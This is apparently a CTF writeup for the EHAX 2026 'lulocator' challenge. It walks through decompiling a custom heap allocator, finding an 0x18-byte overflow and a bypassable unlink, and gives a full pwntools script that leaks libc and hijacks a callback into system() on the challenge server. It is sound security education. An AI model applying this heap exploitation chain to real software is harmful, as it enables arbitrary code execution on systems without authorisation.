801 words
4 minutes
EHAX CTF 2026 - lulocator - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}

Challenge Description#

Who needs that buggy malloc? Made my own completely safe lulocator.

Analysis#

The handout immediately telegraphed the shape of the challenge: one custom allocator binary plus an exact libc, which usually means the intended exploit path is inside the program’s own heap logic, not glibc internals.

unzip -l "/home/rei/Downloads/handout_lulocator.zip"
Archive:  /home/rei/Downloads/handout_lulocator.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      297  02-28-2026 00:45   handout/Makefile
    16608  02-28-2026 00:47   handout/lulocator
  2220400  02-28-2026 00:47   handout/libc.so.6
       30  02-27-2026 23:57   handout/flag.txt
file "./lulocator"
./lulocator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, ... stripped
checksec --file="./lulocator"
[*] '/home/rei/Downloads/handout/lulocator'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

No PIE and no canary were nice, but this was not a direct stack-overflow binary. The menu and decompilation showed a custom heap object model with a global “runner” pointer and an indirect callback dispatch, which is exactly where I focused.

strings -a -n 4 "./lulocator" | rg -i "allocator: corrupted free list detected|\[new\]|\[info\]|set_runner|=== lulocator ==="
allocator: corrupted free list detected
[new] index=%d
[info] addr=0x%lx out=0x%lx len=%lu
=== lulocator ===
5) set_runner
r2 -Aqc "s 0x401e0d; pdg" "./lulocator"
void fcn.00401e0d(void)
{
    if (*0x404940 == 0) {
        sym.imp.puts("[no runner]");
    }
    else {
        (**(*0x404940 + 0x10))(*0x404940 + 0x28);
    }
}

That one function gives the whole endgame: if I can make the global runner (0x404940) point to attacker data, I control both the called function pointer at runner+0x10 and its argument pointer runner+0x28.

r2 -Aqc "s 0x401d3d; pdg" "./lulocator"
void fcn.00401d3d(void)
{
    ...
    *0x404940 = *(var_44h * 8 + 0x4048c0);
    sym.imp.puts("[runner set]");
}
r2 -Aqc "s 0x401978; pdg" "./lulocator"
void fcn.00401978(void)
{
    ...
    if (*(var_18h + 0x20) + 0x18U < var_70h) {
        sym.imp.puts("too long");
        return;
    }
    ...
    fcn.00401636(0, var_18h + 0x28, var_70h);
}

This is the bug: write length is allowed up to chunk_len + 0x18, but write target starts at chunk+0x28. So each chunk can overwrite 0x18 bytes past its own data region—perfect for corrupting the metadata of the physically next chunk.

r2 -Aqc "s 0x4012f2; pdg" "./lulocator"
void fcn.004012f2(uint32_t arg1)
{
    ...
    if ((piVar1 == *(*piVar1 + 8)) && (piVar1 == *piVar1[1])) {
        *piVar1[1] = *piVar1;
        *(*piVar1 + 8) = piVar1[1];
        return;
    }
    sym.imp.fwrite("allocator: corrupted free list detected\n", ...);
    sym.imp.abort();
}

That unlink check is classic and bypassable with fake fd/bk setup. The reliable chain was: allocate A and R adjacent, set runner to R, free R (runner becomes stale UAF), overflow from A into freed R’s free-list pointers, then trigger allocation to unlink R and overwrite runner with an attacker-controlled fake object inside A’s data.

smug

The info command gave two essential leaks in one line: chunk address for precise fake-object placement and stdout pointer for libc base recovery. Since a challenge libc was provided in the handout, the exploit resolves system from that exact libc and uses the leak to compute libc_base on the fly.

With runner -> fake_object, fake_object+0x10 = system, and fake_object+0x28 = command string, run becomes system(command). I used a multi-path cat command so the exploit would survive unknown remote flag paths, and the first full remote execution returned the real flag twice in stdout.

python3.12 "./exploit.py" REMOTE
[x] Opening connection to chall.ehax.in on port 40137
[+] chunk A @ 0x7dda42bfe008
[+] chunk R @ 0x7dda42bfe138
[+] stdout leak = 0x7dda42e5c780
[+] libc base   = 0x7dda42c41000
[+] system      = 0x7dda42c91d70
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
...
FLAG_FOUND: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}

Solution#

# solve.py
from pwn import *
import re

HOST = "chall.ehax.in"
PORT = 40137

libc = ELF("./libc.so.6", checksec=False)


def cmd(io, choice: int):
    io.sendlineafter(b"> ", str(choice).encode())


def new(io, size: int) -> int:
    cmd(io, 1)
    io.sendlineafter(b"size: ", str(size).encode())
    io.recvuntil(b"[new] index=")
    return int(io.recvline().strip())


def write_idx(io, idx: int, length: int, data: bytes):
    cmd(io, 2)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"len: ", str(length).encode())
    io.sendafter(b"data: ", data)
    io.recvline()


def delete(io, idx: int):
    cmd(io, 3)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvline()


def info(io, idx: int):
    cmd(io, 4)
    io.sendlineafter(b"idx: ", str(idx).encode())
    line = io.recvline().decode(errors="ignore").strip()
    m = re.search(r"addr=0x([0-9a-fA-F]+) out=0x([0-9a-fA-F]+) len=(\d+)", line)
    if not m:
        raise RuntimeError(f"bad info line: {line!r}")
    return int(m.group(1), 16), int(m.group(2), 16)


def set_runner(io, idx: int):
    cmd(io, 5)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvline()


def main():
    io = remote(HOST, PORT)

    a = new(io, 0x100)
    r = new(io, 0x100)

    a_addr, out_ptr = info(io, a)
    r_addr, _ = info(io, r)

    libc.address = out_ptr - libc.symbols["_IO_2_1_stdout_"]
    system = libc.symbols["system"]

    set_runner(io, r)
    delete(io, r)

    command = (
        b"cat flag.txt 2>/dev/null; cat /flag.txt 2>/dev/null; "
        b"cat /flag 2>/dev/null; cat /app/flag.txt 2>/dev/null; "
        b"cat /home/*/flag.txt 2>/dev/null; echo __END__\x00"
    )

    fake = a_addr + 0x28
    payload = bytearray(b"A" * (0x100 + 0x18))

    # fake object at `fake`
    payload[0x08:0x10] = p64(r_addr)        # for unlink check
    payload[0x10:0x18] = p64(system)        # callback
    payload[0x28:0x28 + len(command)] = command

    # overwrite freed R chunk metadata via +0x18 OOB write
    payload[0x100:0x108] = p64(0x130)       # keep size
    payload[0x108:0x110] = p64(fake)        # fd
    payload[0x110:0x118] = p64(0x404940)    # bk -> &runner

    write_idx(io, a, len(payload), bytes(payload))
    new(io, 0x80)  # trigger unlink => runner = fake

    cmd(io, 6)     # run => system(fake+0x28)
    out = io.recvuntil(b"__END__", timeout=3)
    print(out.decode(errors="ignore"))


if __name__ == "__main__":
    main()
python3.12 solve.py
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
EHAX CTF 2026 - lulocator - Binary Exploitation Writeup
https://blog.rei.my.id/posts/68/ehax-ctf-2026-lulocator-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-01
License
CC BY-NC-SA 4.0